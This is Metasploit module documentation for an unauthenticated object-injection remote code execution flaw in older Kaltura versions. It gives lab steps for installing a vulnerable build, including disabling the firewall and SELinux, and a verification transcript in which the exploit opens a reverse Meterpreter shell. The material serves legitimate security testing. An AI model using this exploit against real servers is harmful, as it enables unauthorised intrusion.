## Vulnerable Application

This module exploits an Object Injection vulnerability in Kaltura. By exploiting this vulnerability, unauthenticated users can execute arbitrary code under the context of the web server user.

Kaltura has a module named keditorservices that takes user input and then uses it as an unserialized function parameter. The constructed object is based on the SektionEins Zend code execution POP chain PoC, with a minor modification to ensure Kaltura processes it and the Zend_Log function's __destruct() method is called. Kaltura versions prior to 11.1.0-2 are affected by this issue.

**Vulnerable Application Installation Steps**

Kaltura has their own RPM and/or DEB packages to help us to install it without any issue. Following steps are slightly different than official wiki in order to install the vulnerable packages.

Following steps are valid on the CentOS 6 x64 bit operating system.

1. Install CentOS-6 x64 and run `yum update -y` in order to fetch and install the latest packages. Also setting the hostname to something like _kalturahack.dev_ would be wise, because it will be used during Kaltura installation.
2. Disable iptables and selinux. 
```
iptables -F
service iptables stop
chkconfig iptables off
setenforce permissive
(selinux will be enabled on reboot unless editing /etc/selinux/config file.)
```
3. Install following pre-requisites.
* PHP 5.3.n, 5.4.n, 5.5.n, 5.6.n [the official distro repo version]
* MySQL/MariaDB [the official distro repo version]. Please make sure your MySQL is configured not to enforce strict mode.
* JRE 1.7.n (openjdk can be used)

4. Install Kaltura yum repo.
```
rpm -ihv http://installrepo.kaltura.org/releases/kaltura-release.noarch.rpm
```

5. Kaltura repo is configured for the latest version by default. We need to change it to one of the vulnerable releases. Thus, open `/etc/yum.repos.d/kaltura.repo` file with your favorite text editor and perform following replacement.

Original file. (# lines just ignored)
```
[Kaltura]
name = Kaltura Server
baseurl = http://installrepo.kaltura.org/releases/latest/RPMS/$basearch/
gpgkey = http://installrepo.kaltura.org/releases/RPM-GPG-KEY-kaltura
gpgcheck = 1 
enabled = 1

[Kaltura-noarch]
name = Kaltura Server arch independent
baseurl = http://installrepo.kaltura.org/releases/latest/RPMS/noarch
gpgkey = http://installrepo.kaltura.org/releases/RPM-GPG-KEY-kaltura
gpgcheck = 1
enabled = 1
baseurl = http://installrepo.kaltura.org/releases/latest/RPMS/$basearch/
```
After changes.
```
[Kaltura]
name = Kaltura Server
baseurl = http://installrepo.kaltura.org/releases/10.10.0/RPMS/$basearch/
gpgkey = http://installrepo.kaltura.org/releases/RPM-GPG-KEY-kaltura
gpgcheck = 1 
enabled = 1

[Kaltura-noarch]
name = Kaltura Server arch independent
baseurl = http://installrepo.kaltura.org/releases/10.10.0/RPMS/noarch
gpgkey = http://installrepo.kaltura.org/releases/RPM-GPG-KEY-kaltura
gpgcheck = 1
enabled = 1
baseurl = http://installrepo.kaltura.org/releases/latest/RPMS/$basearch/
```

6. Install kaltura-server. This will take a while. 
```
yum clean all
yum install kaltura-server
```

7. Run the following commands in order to initiate the database and start necessary services.
```
/opt/kaltura/bin/kaltura-mysql-settings.sh
service memcached restart
service ntpd restart
chkconfig memcached on
chkconfig ntpd on
```

8. Start the kaltura configuration script `/opt/kaltura/bin/kaltura-config-all.sh` .

```
[Email\NO]: "<your email address>"
CDN hostname [kalrpm.lcl]: "<your hostname>"
Apache virtual hostname [kalrpm.lcl]: "<your hostname>"
Which port will this Vhost listen on [80]?:

DB hostname [127.0.0.1]: "<127.0.0.1>"
DB port [3306]: "<3306>"
MySQL super user [this is only for setting the kaltura user passwd and WILL NOT be used with the application]: "<root>"
MySQL super user passwd [this is only for setting the kaltura user passwd and WILL NOT be used with the application]: "<your root password>"
Analytics DB hostname [127.0.0.1]: "<127.0.0.1>"
Analytics DB port [3306]: "<3306>"
Sphinx hostname [127.0.0.1]: "<127.0.0.1>"

Secondary Sphinx hostname: [leave empty if none] "<empty>"

VOD packager hostname [kalrpm.lcl]: "<http://kaltura-nginx-hostname>"

VOD packager port to listen on [88]: 

Service URL [http://kalrpm.lcl:80]: "<http://apache-hostname:80>"

Kaltura Admin user (email address): "<your email address>"
Admin user login password (must be minimum 8 chars and include at least one of each: upper-case, lower-case, number and a special character): "<your kaltura admin password>"
Confirm passwd: "<your kaltura admin password>"

Your time zone [see http://php.net/date.timezone], or press enter for [Europe/Amsterdam]: "<your timezone>"
How would you like to name your system (this name will show as the From field in emails sent by the system) [Kaltura Video Platform]? "<your preferred system name>"
Your website Contact Us URL [http://corp.kaltura.com/company/contact-us]: "<your contact URL>"
'Contact us' phone number [+1 800 871 5224]? "<your phone number>"

Is your Apache working with SSL?[Y/n] "<n>"
It is recommended that you do work using HTTPs. Would you like to continue anyway?[N/y] "<y>"
Which port will this Vhost listen on? [80] "<80>"
Please select one of the following options [0]: "<0>"
```

I do recommend that leaving all default values as is except SSL. You may want to install Kaltura without SSL support.

These steps are slightly different than following instruction.
[http://kaltura-install-packages.readthedocs.io/en/latest/install-kaltura-redhat-based/](http://kaltura-install-packages.readthedocs.io/en/latest/install-kaltura-redhat-based/)

## Verification Steps

A successful check of the exploit will look like this:

```
msf > use exploit/unix/webapp/kaltura_unserialize_rce 
msf exploit(kaltura_unserialize_rce) > set RHOST centoshacker.dev
RHOST => centoshacker.dev
msf exploit(kaltura_unserialize_rce) > check
[+] centoshacker.dev:80 The target is vulnerable.
msf exploit(kaltura_unserialize_rce) > exploit 

[*] Started reverse TCP handler on 10.0.0.1:4444 
[*] Sending stage (33721 bytes) to 10.0.0.134
[*] Meterpreter session 1 opened (10.0.0.1:4444 -> 10.0.0.134:50312) at 2016-09-17 22:56:44 +0300

meterpreter > pwd
/opt/kaltura/app/alpha/web
meterpreter >
```
